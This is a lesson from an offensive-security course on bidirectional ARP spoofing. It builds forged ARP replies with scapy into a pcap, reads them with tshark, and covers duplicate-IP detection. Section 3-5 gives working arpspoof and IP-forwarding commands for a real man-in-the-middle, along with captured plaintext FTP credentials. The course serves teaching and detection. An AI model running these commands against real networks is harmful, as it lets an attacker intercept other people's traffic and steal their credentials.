InfoSec 3001 — Information Security from the Offensive Perspective

Step 157. ARP Spoofing 2 — Bidirectional Interception and the End of Plaintext

Step 157. ARP Spoofing 2 — Bidirectional Interception and the End of Plaintext

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 3 hours

Prerequisites: Step 156 complete. You’ve verified ARP’s who-has/is-at structure and the forged-reply principle with scapy. You can read capture files with tshark (Steps 83~84).

  • What you need: WSL Linux + Python venv (scapy) + tshark. If you have a real lab (MS2/Kali Host-only), you can reproduce the Screen example procedures.
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
  • Safety limit: sending ARP spoofing packets onto a real network is absolutely forbidden. Today’s spoofing scenes are assembled with scapy into a file (pcap) only and read with tshark — not a single transmission. The actual attack progression in the lab is a "Screen example."

Fool only one side and you see only half. You can see the requests the victim sends to the gateway, but not the responses coming back. Complete MITM is bidirectional — telling the victim "I’m the gateway" and the gateway "I’m the victim" at the same time.

And once you reach that state, something reveals itself. Plaintext protocols like HTTP, FTP, and Telnet print accounts and passwords into the capture, letter for letter. Today’s exercise has two axes — assembling and reading the packet structure of bidirectional spoofing as a pcap (measured), and confirming on top of it how plaintext credentials appear (measured). A day to be persuaded by packets of "why HTTPS changed the world."

1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain the difference between one-way and bidirectional spoofing in terms of "what becomes visible"
  • Assemble the packet composition of bidirectional spoofing (forged is-at in both directions) with scapy
  • Read spoofed ARP traffic with tshark and find the detection signal (duplicate-IP warning)
  • Explain that IP forwarding is the "connection-keeping device" in MITM
  • Confirm that plaintext-protocol credentials are exposed in a capture, and argue the necessity of HTTPS with evidence

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment WSL Linux, Python 3 + scapy 2.7, tshark 4.2
Today’s commands scapy wrpcap() (save to file), tshark -r (read), -T fields, -z expert, arp.duplicate-address-frame
Concepts needed Bidirectional spoofing, IP forwarding, plaintext protocols, Step 84’s anomaly detection
Today’s artifact A spoofing demo pcap + a detection-perspective analysis note — the two gazes of attacker and defender

2-1. Why Bidirectional — The Two Directions of a Conversation

Every device keeps its own ARP table. Poison only the victim’s table and only the victim → gateway direction passes through the attacker. The gateway’s table must also be poisoned for gateway → victim responses to pass through the attacker too.

Lie 1: to the victim   "the gateway (192.168.56.1) is at my MAC"
Lie 2: to the gateway  "the victim (192.168.56.101) is at my MAC"
Result: victim ←→ attacker ←→ gateway  (complete MITM)

Two lies make one round-trip corridor. This is why lab tools launch one arpspoof in each of two terminals.

2-2. IP Forwarding — Off, and It’s Not Eavesdropping but Sabotage

If it ended with the attacker’s device receiving the packets, the victim’s internet would die — the moment of getting caught. The received packets must be relayed onward to their original destination for communication to stay alive — and only then can you eavesdrop for a long time. In Linux, that switch is /proc/sys/net/ipv4/ip_forward. In a MITM attack, this file is "the switch between eavesdropping mode and sabotage mode."

2-3. Plaintext Protocols — A Legacy from the Pre-Encryption Era

HTTP, FTP, and Telnet were designed with no encryption. The ID and password of a single login ride in the packet body, letter for letter. The fact you confirmed over loopback in Step 85 returns today from "the man-in-the-middle’s viewpoint" — to anyone who can stand on that segment, plaintext is just a document.

2-4. The Defender’s Viewpoint — Spoofing Is Noisy

From the attacker’s perspective, spoofing is a quiet deception, but from the defender’s perspective it leaves traces. Two MACs fight over the same IP, unsolicited is-ats repeat, and cache entries flip frequently. tshark/Wireshark attaches a "Duplicate IP address configured" warning to such scenes. Today, while reading the pcap, you’ll trigger this warning yourself — you have to build the attack to see the face of detection.

3. Follow Along

3-1. Assembling the Spoofing Scene as a pcap

Instead of real transmission, we use scapy to assemble — to a file only — the packets you’d see if you captured a network mid-attack. Cast: gateway (192.168.56.1 / 08:00:27:aa:bb:cc), victim (192.168.56.101 / 08:00:27:11:22:33), attacker (MAC aa:bb:cc:dd:ee:ff).

from scapy.layers.l2 import Ether, ARP
from scapy.utils import wrpcap

GW_IP, GW_MAC = "192.168.56.1", "08:00:27:aa:bb:cc"
VICTIM_IP, VICTIM_MAC = "192.168.56.101", "08:00:27:11:22:33"
ATK_MAC = "aa:bb:cc:dd:ee:ff"
pkts = []

# Normal state: the gateway's self-introduction (gratuitous ARP)
pkts.append(Ether(src=GW_MAC, dst="ff:ff:ff:ff:ff:ff") /
            ARP(op=2, psrc=GW_IP, hwsrc=GW_MAC, pdst=GW_IP, hwdst="00:00:00:00:00:00"))

# Attack: to the victim, "the gateway is me" (repeated forged is-at)
for _ in range(3):
    pkts.append(Ether(src=ATK_MAC, dst=VICTIM_MAC) /
                ARP(op=2, psrc=GW_IP, hwsrc=ATK_MAC, pdst=VICTIM_IP, hwdst=VICTIM_MAC))

# Attack: to the gateway, "the victim is me" (the other half of bidirectional)
for _ in range(3):
    pkts.append(Ether(src=ATK_MAC, dst=GW_MAC) /
                ARP(op=2, psrc=VICTIM_IP, hwsrc=ATK_MAC, pdst=GW_IP, hwdst=GW_MAC))

wrpcap("arp_spoof_demo.pcap", pkts)
print(f"Saved: {len(pkts)} packets")

Output (measured 2026-09-09):

Saved: 7 packets

How to read it: using file saving (wrpcap) rather than a send function (sendp) is the core of the safety limit. This file is a model holding the same contents as "a capture of a lab mid-spoofing."

3-2. Reproducing the Attacker’s Screen — Reading with tshark

Open the file you just made with tshark.

tshark -r arp_spoof_demo.pcap

Output (measured 2026-09-09):

    1 0.000000 PCSSystemtec_aa:bb:cc → Broadcast    ARP 42 Gratuitous ARP for 192.168.56.1 (Reply)
    2 0.000146 aa:bb:cc:dd:ee:ff → PCSSystemtec_11:22:33 ARP 42 192.168.56.1 is at aa:bb:cc:dd:ee:ff
    3 0.000228 aa:bb:cc:dd:ee:ff → PCSSystemtec_11:22:33 ARP 42 192.168.56.1 is at aa:bb:cc:dd:ee:ff
    4 0.000309 aa:bb:cc:dd:ee:ff → PCSSystemtec_11:22:33 ARP 42 192.168.56.1 is at aa:bb:cc:dd:ee:ff
    5 0.000389 aa:bb:cc:dd:ee:ff → PCSSystemtec_aa:bb:cc ARP 42 192.168.56.101 is at aa:bb:cc:dd:ee:ff
    6 0.000459 aa:bb:cc:dd:ee:ff → PCSSystemtec_aa:bb:cc ARP 42 192.168.56.101 is at aa:bb:cc:dd:ee:ff
    7 0.000525 aa:bb:cc:dd:ee:ff → PCSSystemtec_aa:bb:cc ARP 42 192.168.56.101 is at aa:bb:cc:dd:ee:ff

How to read it: #1 is the normal state — the gateway’s real MAC claims its own IP. #2~4 are repeated lies aimed at the victim ("the gateway is the attacker’s MAC"), and #5~7 are repeated lies aimed at the gateway ("the victim is the attacker’s MAC"). The same MAC aa:bb:cc:dd:ee:ff claiming two different IPs — that contrast is the face of spoofing.

3-3. The Defender’s Weapons — Field Extraction and the Duplicate-IP Warning

Pull just the claiming IPs and MACs, place them side by side, and the fight becomes visible as numbers.

tshark -r arp_spoof_demo.pcap -T fields -e frame.number -e arp.src.proto_ipv4 -e arp.src.hw_mac -e arp.dst.proto_ipv4

Output (measured 2026-09-09):

1	192.168.56.1	08:00:27:aa:bb:cc	192.168.56.1
2	192.168.56.1	aa:bb:cc:dd:ee:ff	192.168.56.101
3	192.168.56.1	aa:bb:cc:dd:ee:ff	192.168.56.101
4	192.168.56.1	aa:bb:cc:dd:ee:ff	192.168.56.101
5	192.168.56.101	aa:bb:cc:dd:ee:ff	192.168.56.1
6	192.168.56.101	aa:bb:cc:dd:ee:ff	192.168.56.1
7	192.168.56.101	aa:bb:cc:dd:ee:ff	192.168.56.1

Compare row 1 with rows 2~4 — the same IP (192.168.56.1) is claimed by two MACs. The Wireshark family warns about this automatically.

tshark -r arp_spoof_demo.pcap -q -z expert,note

Output (measured 2026-09-09):

Warns (6)
=============
   Frequency      Group           Protocol  Summary
           3   Sequence           ARP/RARP  Duplicate IP address configured (192.168.56.1)
           3   Sequence           ARP/RARP  Duplicate IP address configured (192.168.56.101)

With the display filter arp.duplicate-address-frame, you can also select only such packets. The seed of a detection rule: "if two MACs fight over one IP, be suspicious" — Step 84’s ‘answer without a pair’ appears in ARP as ‘one IP with two owners.’

3-4. Checking IP Forwarding

Check the switch that keeps communication alive on the attacker’s device (read-only).

cat /proc/sys/net/ipv4/ip_forward

Output (measured 2026-09-09, WSL):

1

How to read it: 1 means forwarding on, 0 means off. This measurement environment (WSL) defaults to 1, but a typical Linux default is 0 — on lab Kali you turn it on with echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward. If you spoof with this switch off, the victim’s internet dies and the attack is exposed at once — forwarding is MITM’s lifeline.

3-5. (If You Have the Lab) Real Bidirectional Spoofing — Screen Example

Progression in an MS2/Kali Host-only lab. Below is a Screen example — no packets were transmitted in this book’s measurement environment.

# Terminal 1 — fool the victim
sudo arpspoof -i eth0 -t 192.168.56.101 192.168.56.1
# Terminal 2 — fool the gateway
sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.101
# Turn on forwarding
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
# Capture
sudo wireshark &   # capture eth0, filter: http or ftp

# When the victim (MS2) logs into a plaintext service in the lab — Wireshark packet details (Screen example)
FTP Request: USER admin
FTP Request: PASS msfadmin

Both directions must be alive for requests and responses to be visible. If you see only one side, one direction of the spoofing is dead — covered in Section 6, Wall 2.

3-6. The End of Plaintext — Connecting to the HTTPS Contrast Experiment

The reason PASS msfadmin was visible in 3-5’s scene is that FTP is plaintext. Even from the same MITM seat, HTTPS contents are ciphertext and can’t be read. Step 85’s contrast experiment (HTTP reads, HTTPS doesn’t) holds exactly in this seat — the man-in-the-middle’s chair. Spoofing steals the position; encryption protects the contents. The two are defenses of different layers.

4. Missions & Exercises

Mission — Spoofing Demo pcap and Detection Note

  1. Modify 3-1’s script to build a pcap with a "pre-attack normal ARP round trip (who-has → normal is-at)" scene of 2 packets added in front (9 packets total)
  2. Read it with tshark and mark the boundary between ① the normal section and ② the attack section by packet numbers
  3. From the -T fields output, find and quote the "two MACs fighting over the same IP"
  4. Capture the -z expert,note warning and write in one line what this warning means
  5. Complete the detection note: "if I were the defender of this network, with what filters and alerts would I catch this attack" — write at least 2 filter sentences

Exercises

Exercise 1. In a one-way spoofing state, what can the attacker see and what can’t they? Why?

Exercise 2. Explain in terms of packet flow why a MITM without IP forwarding enabled becomes "sabotage, not eavesdropping."

Exercise 3. Explain why tshark’s "Duplicate IP address configured" warning is valid for spoofing detection, connecting it to 3-3’s field-extraction result.

Exercise 4. Write why HTTPS traffic contents remain unreadable even to an attacker who succeeded at MITM — and what the attacker can still see (metadata).

5. Model Answers & Completion Criteria

Mission Model Answer

Example boundary marking for item 2 (based on the 2026-09-09 measurement — your 9-packet version shifts the numbers by one):

[pcap reading note]
Normal section: packets 1~3 — who-has and the gateway's normal is-at (08:00:27:aa:bb:cc)
Attack section: from packet 4 — every is-at's hwsrc is aa:bb:cc:dd:ee:ff
Evidence of the boundary: the MAC claiming the same IP 192.168.56.1 changes 08:00:27:aa:bb:cc → aa:bb:cc:dd:ee:ff

Example quote for item 3: the part of 3-3’s output where the 192.168.56.1 rows split into 08:00:27:aa:bb:cc and aa:bb:cc:dd:ee:ff.

Example one-liner for item 4: "A warning that frames were observed where two or more MACs claim the same IP address — a signal of ARP spoofing or an address conflict."

Example filters for item 5:

arp.duplicate-address-frame          ← see only duplicate-IP fights
arp.opcode == 2 and (check repetition frequency)   ← watch for reply floods

How to verify: ① does the pcap include a normal section (an attack-only file has no contrast)? ② did you point out the boundary by packet number? ③ were the detection filters actually applied to the file and produced results — a document with filters written but never run is unfinished.

Exercise Answers

Answer 1. Only the victim → gateway direction (requests) is visible; the gateway → victim direction (responses) is not. Because every device keeps its own ARP table — if only the victim’s table is poisoned, the gateway still sends directly to the victim’s real MAC. Seeing only half a conversation is the one-way state.

Answer 2. Because of the poisoned cache, the victim’s packets are delivered to the attacker. With forwarding off, the attacker’s device drops those packets as "not mine" — they never reach the gateway, so the victim’s communication dies. It’s blocking the road, not eavesdropping, and the victim soon notices something is wrong.

Answer 3. In a normal network, one IP stably maps to one MAC (rare exceptions like device replacement aside). But as in 3-3’s output, the same IP (192.168.56.1) being bound alternately to two MACs (08:00:27:…, aa:bb:cc:…) is a strong signal that someone is forging claims. Since spoofing essentially creates a "one IP, two owners" event, this warning is a direct marker of that event.

Answer 4. HTTPS contents are encrypted with the TLS session key, and that key agreement is protected by the server’s certificate, so the man-in-the-middle obtains only ciphertext. However, the metadata — which server you’re talking to (IP, sometimes domain), packet sizes and timing, the rhythm of traffic volume — sits outside the encryption and is visible. That’s why defense design addresses both "content encryption" and "detecting the middle-relay itself."

Completion Criteria Checklist

  • [ ] I can explain the one-way/bidirectional spoofing difference in terms of "visible range"
  • [ ] I assembled the spoofing demo pcap with scapy to a file only (no transmission)
  • [ ] I extracted ARP claim fields with tshark -T fields and confirmed the fight
  • [ ] I can explain the meaning of the "Duplicate IP address configured" warning
  • [ ] I can explain ip_forward‘s role (the connection-keeping device)
  • [ ] I can argue, with evidence, the difference between plaintext credential exposure and HTTPS
  • [ ] Mission: demo pcap + detection note complete

6. Common Pitfalls & Fixes

Wall 1. I made a pcap but tshark shows no "Duplicate IP" warning

Cause: the file doesn’t contain different MACs claiming the same IP — the normal and forged packets must fight over the same IP for the warning to fire. Forged packets alone, with no normal one, don’t constitute a fight.
Fix: as in 3-1, put the normal is-at first and the forgeries after. The warning switches on over "contrast."

Wall 2. (When reproducing in the lab) I see requests but not responses

Symptom: Wireshark captures only the packets the victim sends.
Cause: the spoofing is alive in only one direction — one of the two arpspoof instances died or is wrong.
Fix: check that both terminals are alive, and that the IP order after -t (victim, gateway) isn’t reversed. Both directions must be alive for the round trip to appear.

Wall 3. (When reproducing in the lab) the victim’s internet dies as soon as I spoof

Cause: ip_forward is 0 — the attacker’s device isn’t relaying packets, so the road is blocked.
Fix: check with cat /proc/sys/net/ipv4/ip_forward and turn it on with echo 1 | sudo tee .... As seen in 3-4, defaults differ by environment (measured WSL was 1), so the order is: never "think you turned it on" — always read and confirm.

Wall 4. The urge to send packets onto a real network

Cause: assembling to a file can somehow feel like a "fake experiment."
Fix: that urge points the right way — only the destination is the problem. A VirtualBox Host-only lab (MS2 + Kali) is that playground. Spray forged ARP even once onto a home router, dorm, or company network, and every device’s communication on that network lands in your hands. The reason file assembly isn’t a fake experiment: the reading results in 3-2~3-3 don’t differ from a real capture by a single letter.

Wall 5. The plaintext capture isn’t what I expected — I only tested HTTPS sites

Symptom: even in the lab, the captured contents are only ciphertext.
Cause: if the target is HTTPS, that is the normal result — encryption is doing its job.
Fix: run plaintext experiments against plaintext targets — the HTTP/FTP services running inside the lab. The result "HTTPS doesn’t read even for the man-in-the-middle" is itself a valuable observation, so leave it in your notes.

7. Summary

Today’s Concepts

Concept One-line explanation
Bidirectional spoofing Poisoning both the victim’s and gateway’s tables — the whole round trip passes through the attacker
IP forwarding Relaying received packets to their destination — MITM’s connection-keeping device
Duplicate-IP warning The signal of two MACs fighting over one IP — the seed of spoofing detection
Plaintext protocols HTTP/FTP/Telnet — credentials ride in packets letter for letter
Position vs. content Spoofing steals the position (relay point); TLS protects the content — defenses of different layers
Attack-detection pair Only one who has built the attack knows the face of detection

Today’s Commands & Tools

Command/tool What it does
wrpcap("file", packetlist) Saves packets to a pcap file instead of sending
tshark -r file Reads a capture file
tshark -T fields -e arp.src.proto_ipv4 -e arp.src.hw_mac Extracts claiming IPs/MACs
tshark -q -z expert,note Summarizes expert warnings (duplicate IP, etc.)
arp.duplicate-address-frame Display filter showing only duplicate-IP fight frames
cat /proc/sys/net/ipv4/ip_forward Reads the forwarding switch
arpspoof (lab only) Automates the two-way deception — Screen example only

An Instinct More Important Than Commands

The pcap you made today is 7 packets, but the entire map of the attack is inside it — the normal state, the repetition of lies, the two lies of bidirectional, and the detection warning that switches on above them. If you can read this map, you no longer see a tool’s output as "magic letters." And don’t forget — this technique is scary not because it’s sophisticated but because it works anywhere. Café Wi-Fi, dorm networks, unauthorized corporate LANs — it starts with one line anywhere. Which is why this knowledge’s first sentence is always the same: in my lab only. Only for the person who keeps that one line does this technique become not a weapon but an education.

Once every box is checked, Step 157 is complete. Click the checkbox in the sidebar to save your progress.

← 이전 스텝
다음 스텝 →